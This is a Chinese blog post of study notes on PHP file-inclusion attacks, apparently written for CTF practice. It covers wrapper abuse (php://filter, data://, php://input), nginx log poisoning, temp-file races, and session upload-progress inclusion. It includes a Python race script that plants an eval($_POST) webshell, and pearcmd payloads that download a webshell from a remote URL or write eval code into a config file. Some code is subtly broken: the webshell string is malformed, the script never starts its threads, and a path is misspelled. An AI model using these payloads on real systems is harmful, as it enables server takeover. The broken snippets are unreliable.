当前位置: 首页 > news >正文

php文件包含

文章目录

  • 基础概念
  • php伪协议
    • 什么是协议
    • 协议的格式
    • php中的协议
      • file协议
      • http协议
      • ftp协议
      • php://input协议
      • php://filter协议
      • php://data协议
  • php文件上传机制
  • 高级文件包含
    • nginx文件日志包含
    • 临时文件包含
    • session文件包含
    • pear文件包含
    • 远程文件包含

基础概念

文件包含,相当于c语言中的#include,即通过头文件就可以调用文件中的代码
文件包含最基础的作用,就是读取非php类型的文件
php常见的文件包含语言结构

  • include ‘path’,包含这个文件,如果文件没了也不影响,继续往下执行
  • require:包含必须成功,失败则会报错
  • require_once:与 require 相似,都是用于包含并执行指定的 PHP 文件,但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过,require_once 就不会再包含它。
  • include_once:类似require_once

php伪协议

伪协议即只能在php里面用,在其他地方用不了

什么是协议

在这里插入图片描述

协议的格式

协议头://内容

php中的协议

在这里插入图片描述

file协议

  • 相对路径和绝对路径在这里插入图片描述
    在这里插入图片描述

  • . . / ../ ../:上层目录

    • 上层目录的特点
    1. 每个目录都有上层目录
    2. 根目录的上层目录是根目录
    3. php的文件整理特性:www/html/…/==www/

http协议

  • file_get_contens()函数,给定url地址,通过http协议可以将内容读取
  • include ‘http://’同样可以包含远程地址

ftp协议

默认21端口,进行文件传输

php://input协议

在发的http请求中呈现数据最原始的形式,如果没有php标记,就会当作文本文档呈现,如果有php语法标记,则会执行代码的内容

php://filter协议

通过协议自带的编码解码绕过

file=php://filter/write=convert.base64-decode/resource=1.php
将解码后的内容写入1.php文件
同样可以用write=string.rot13绕过死亡代码

php://data协议

到这里感觉到了各协议其实都可以用于执行自己写的php代码,以data协议为例

data://,<?php phpinfo(); ?>

php文件上传机制

可以强制向网页上传文件,上传的文件存放在/tmp/php???的一个地方,临时文件在脚本执行完后就被删除,所以应该用bp抓包,并将最后一位匹配大写字母[@-[]

高级文件包含

nginx文件日志包含

nginx可以认为是http的服务器软件,提供了http服务,并默认监听80端口,如果接收到php文件,就将它转发到9000端口,9000端口由另一个服务器端软件监听,叫做php-fpm,它提供解析php代码的作用,并将执行结果返回给nginx,nginx将执行结果返回客户端,这个客户端也就是浏览器

  • 日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码

日志文件默认路径
\var\log\nginx\access.log在这里插入图片描述
注意代码一定不要写错,否则报错了就只能重置环境

临时文件包含

注意不能用通配符

  • 上传的文件放在$_FILES这个超全局变量里,包括上传的php脚本,如果能找到这个php脚本在上传文件中的名字和位置,就可以利用文件包含执行这个脚本,但是在上传脚本执行完之后攻击脚本就会自动删除,所以需要在脚本执行期间完成文件包含
  • php返回数据的特点,一段一段返回,每4096个字符返回一次,所以可以在返回字符中一直读取,一旦读到tmp_name就立刻进行包含,即phpinfo lfi

session文件包含

session:根据cookie管理临时文件

  • 如果将恶意代码注入session所在的临时文件,就可以实现与临时文件包含类似的效果
import requests
import threading
session=requests.session()
sess='ctfshow'
file_name='/var/www/html/1.php'
file_contents='<?php eval($_POST[1];?>)'
url='http'
data={
    'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success';file_put_contents('{file_name}','{file_contents}')?>"
}

file={
    'file':'ctfshow'
}

cookies={
    'PHPSESSID':'ctfshow'
}

def write():
    while True:
        r=session.post(url=url,data=data,files=file,cookies=cookies)

def read():
    while True:
        r=session.post(url=url+'?file=../../../../../tmp/sess_ctfshow')
        if 'success' in r.text:
            print('shell地址为:'+url+'/1.php')
            exit()  


在这里插入图片描述
在这里插入图片描述

pear文件包含

使用条件

  1. 有文件包含点
  2. 开启了pear扩展
  3. 配置中register_argc_argv设置为on,而默认为off

利用方式1:利用扩展远程下载一句话木马

url+?file=/user/loca/lib/php/pearcmd.php&x+install+-R+/var/www/html(本地地址)+url(远程下载地址)

利用方式2:生成配置文件,在配置项中含恶意代码

url+?file=/user/loca/lib/php/pearcmd.php&+-c+\tmp\a.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+

远程文件包含

类似远程文件下载,必要时可用域名转数字

相关文章:

  • C extern在函数声明中的作用
  • 各类数据质量等相关学习地址
  • vmware centos 10 stream boot 安装
  • 【算法】快排-786. 第k个数
  • 23. AI-大语言模型-DeepSeek
  • MySQL登录问题总结
  • 【Reasoning】LLaMA-Berry: Pairwise Optimization for O1-like Olympiad-Level Mathematical Reasoning
  • Linux 内核中的 container_of 宏:以 ipoib_rx_poll_rss 函数为例
  • Langchain vs. LlamaIndex:哪个在集成MongoDB并分析资产负债表时效果更好?
  • android,flutter 混合开发,pigeon通信,传参
  • RDMA ibverbs_API功能说明
  • 【蓝桥杯集训·每日一题2025】 AcWing 6122. 农夫约翰的奶酪块 python
  • Rust编程语言入门教程(五)猜数游戏:生成、比较神秘数字并进行多次猜测
  • javaSE学习笔记22-线程(thread)-线程通信、线程池
  • MySQL(1)基础篇
  • 【数据集】 jsonl格式
  • Rust编程语言入门教程 (六)变量与可变性
  • RTSP协议讲解及漏洞挖掘
  • 如何使用Redis实现分布式锁
  • ok113i平台——更改根目录分区大小
  • 海警巡航时海豚围舰艇嬉戏,专家:证明海域生态环境持续向好
  • “译通天下·言立寰宇”:华东师大翻译家的精神传承
  • 王受文已任中华全国工商业联合会领导班子成员
  • 过去24小时中美是否就关税问题进行过接触?外交部:没有
  • 庄语乐︱宋代历史是被“塑造”出来的吗?
  • 80后共青团云南省委副书记许思思已任迪庆州委副书记